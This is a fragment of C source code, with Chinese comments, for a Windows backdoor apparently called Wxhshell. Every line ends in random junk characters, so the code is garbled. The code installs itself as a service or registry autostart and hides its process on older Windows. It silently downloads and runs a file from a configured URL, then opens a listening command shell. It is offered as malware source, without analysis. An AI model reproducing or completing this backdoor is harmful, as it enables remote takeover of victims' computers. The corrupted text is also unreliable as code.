DWORD PebBaseAddress; a,3}
o:f
DWORD AffinityMask; o;+$AU1f
DWORD BasePriority; ;ZMm6o
ULONG UniqueProcessId; 48JD >=@7
ULONG InheritedFromUniqueProcessId; #IjG[a-
} PROCESS_BASIC_INFORMATION; KiU/N$E
:!a'N3o>
PROCNTQSIP NtQueryInformationProcess; 8{aS$V"
I^*&u,
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '`$z!rA
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [hE0 9W
j]\3>.
HANDLE hProcess; Z?yMy zT
PROCESS_BASIC_INFORMATION pbi; v`ckvl)(C
b13XHR)0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @0cQ4}
if(NULL == hInst ) return 0; #%t&f"j2
c|8[$_2
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y%A!|aBu
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1Uz sw
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j3`#v3
G j^J pG
if (!NtQueryInformationProcess) return 0; `,XCD-R^
]3Z?Q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ##~";j
if(!hProcess) return 0; Fdsaf[3[v
'k[O?}
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2JNO@
@C]]VE
CloseHandle(hProcess); I^>m-M.
x_&=IyU0j
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :td#zM
if(hProcess==NULL) return 0; w8$rt
R4+Gmx1
HMODULE hMod; G9y
0;br
char procName[255]; k*)O]M<,
unsigned long cbNeeded; ^.5`jdk
8zv=@`4@G
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }}Gz3>?24=
^V]DQ%v"I
CloseHandle(hProcess); #w\Bc\
j{00iA}
if(strstr(procName,"services")) return 1; // 以服务启动 !;'#fxW[
>*#clf;@p
return 0; // 注册表启动 WqX#T
} zs!}P
Id`?yt
// 主模块 |_q:0qo
int StartWxhshell(LPSTR lpCmdLine) : tKa1vL
{ h/u>F$}c
SOCKET wsl; NjT#p8d X
BOOL val=TRUE; 6( 1xU\x
int port=0; thWQU"z4
struct sockaddr_in door; Hgs=qH
z8W@N8IqC
if(wscfg.ws_autoins) Install(); KUs\7Sb
3KFw0(S/
port=atoi(lpCmdLine); QJ{to%
x8H%88!j*
if(port<=0) port=wscfg.ws_port; 3QlV,)}
6*3J3Lc_<
WSADATA data; ^+Ho#]
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W\xM$#)m
9Yih%d,
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; q:A{@kFq_
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a%f?OsY
door.sin_family = AF_INET; 'Oyx
X
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Y{yN*9a79
door.sin_port = htons(port); &^WJ:BvA|^
iwb]mJUA
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @.T
w*t
closesocket(wsl); b"x[+&%i
return 1; q^nSYp#
} 3fC|}<Wzt
xi5/Wc6
if(listen(wsl,2) == INVALID_SOCKET) { C~\/FrO?
closesocket(wsl); @R+bR<}]
return 1; \Kh@P*7
} \@]/ks=K
Wxhshell(wsl); hVQ
TW[
WSACleanup(); c-S_{~~
joaf0
return 0; nv WTx4oy
yP :/F|E$
} 7/*a
slSQ \;CDA
// 以NT服务方式启动 Qg]8~^Q<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nsChNwPX
{ W)rE_tw,|
DWORD status = 0; eM)E3~K:2
DWORD specificError = 0xfffffff; NXhQdf
cZ$!_30N+
serviceStatus.dwServiceType = SERVICE_WIN32; ,/V'(\>
serviceStatus.dwCurrentState = SERVICE_START_PENDING; :/e=J
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; v` 9^?Xw)
serviceStatus.dwWin32ExitCode = 0; J)6A,:wt
serviceStatus.dwServiceSpecificExitCode = 0; w3j51v` 0'
serviceStatus.dwCheckPoint = 0; Z,~"`9>Ss
serviceStatus.dwWaitHint = 0; pPztUz/.
K*&?+_v
:
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); F^iv1b
if (hServiceStatusHandle==0) return; F_Q,j]0
\L14rQ
t
status = GetLastError(); I"*;fdm
if (status!=NO_ERROR) }@Mx@ S
{
0>D:
serviceStatus.dwCurrentState = SERVICE_STOPPED; D8+68_BEM
serviceStatus.dwCheckPoint = 0; z?~W]PWiZ
serviceStatus.dwWaitHint = 0; i*16kdI.
serviceStatus.dwWin32ExitCode = status; S30@|@fTz
serviceStatus.dwServiceSpecificExitCode = specificError; Pw4j?pv2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !ra CpL9;
return; ?Z}n0E `
} 1c=Roiq
5H_%inWM
serviceStatus.dwCurrentState = SERVICE_RUNNING; QiU!;!s
serviceStatus.dwCheckPoint = 0; Ck,.4@\tK
serviceStatus.dwWaitHint = 0; kqYvd]ss
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); , WF)GS|7V
} _#c^z;!
Uk5O9D0
He
// 处理NT服务事件,比如:启动、停止 5- Q`v/w;
VOID WINAPI NTServiceHandler(DWORD fdwControl) H!dUQ
{ %9|=\#
G
switch(fdwControl) A@/DGrZX
{ G@Dw
case SERVICE_CONTROL_STOP: 0`X%&
serviceStatus.dwWin32ExitCode = 0; +~ro*{3
serviceStatus.dwCurrentState = SERVICE_STOPPED; Yuy7TeJRx
serviceStatus.dwCheckPoint = 0; [0GM!3YJ7
serviceStatus.dwWaitHint = 0; l'~]8Wo1
{ |=.z0{A7H
SetServiceStatus(hServiceStatusHandle, &serviceStatus); <DS+"#
} ^iJMUV|
return; SU, t,i
case SERVICE_CONTROL_PAUSE: 7pNTCZY|
serviceStatus.dwCurrentState = SERVICE_PAUSED; ?i4}[q
break; LkFXUt ?
case SERVICE_CONTROL_CONTINUE: "AjtNL5
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;S+c<MSl
break; \~xOdqF/
case SERVICE_CONTROL_INTERROGATE: {aq\sf;i{
break; NEQcEUd?
}; G+=6]0HT
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]rM{\En
} nLq7J:
.rj FhSr$
// 标准应用程序主函数 :)nn/[>fC
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zO>N 3pMv
{ eafy5vN[zX
t#|E.G:=
// 获取操作系统版本 G)l[\6Dn
OsIsNt=GetOsVer(); ~B%EvG7:n
GetModuleFileName(NULL,ExeFile,MAX_PATH); !l'Az3'J|
Y_`D5c:
// 从命令行安装 x_Ki5~w5
if(strpbrk(lpCmdLine,"iI")) Install(); :=04_5 z
"fLGXbNQ
// 下载执行文件 *qg9~/
if(wscfg.ws_downexe) { /qF7^9LtaY
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O?@1</r^
WinExec(wscfg.ws_filenam,SW_HIDE); {xt<`_R
} yy?|q0
]
K7>R0
if(!OsIsNt) { ?Gl'-tV
// 如果时win9x,隐藏进程并且设置为注册表启动 I=hgfo
HideProc(); c< gM
StartWxhshell(lpCmdLine); e4NT
} @6GM)N\{[
else 7|6tH@4Ub
if(StartFromService()) w_^&X;0^
// 以服务方式启动 h~elF1dG
StartServiceCtrlDispatcher(DispatchTable); bWv6gOPR3
else PK C``+Ki
// 普通方式启动 K_nN|'R-
StartWxhshell(lpCmdLine); >c7/E
fRT:@lV
return 0; G;Y,C<)0k
}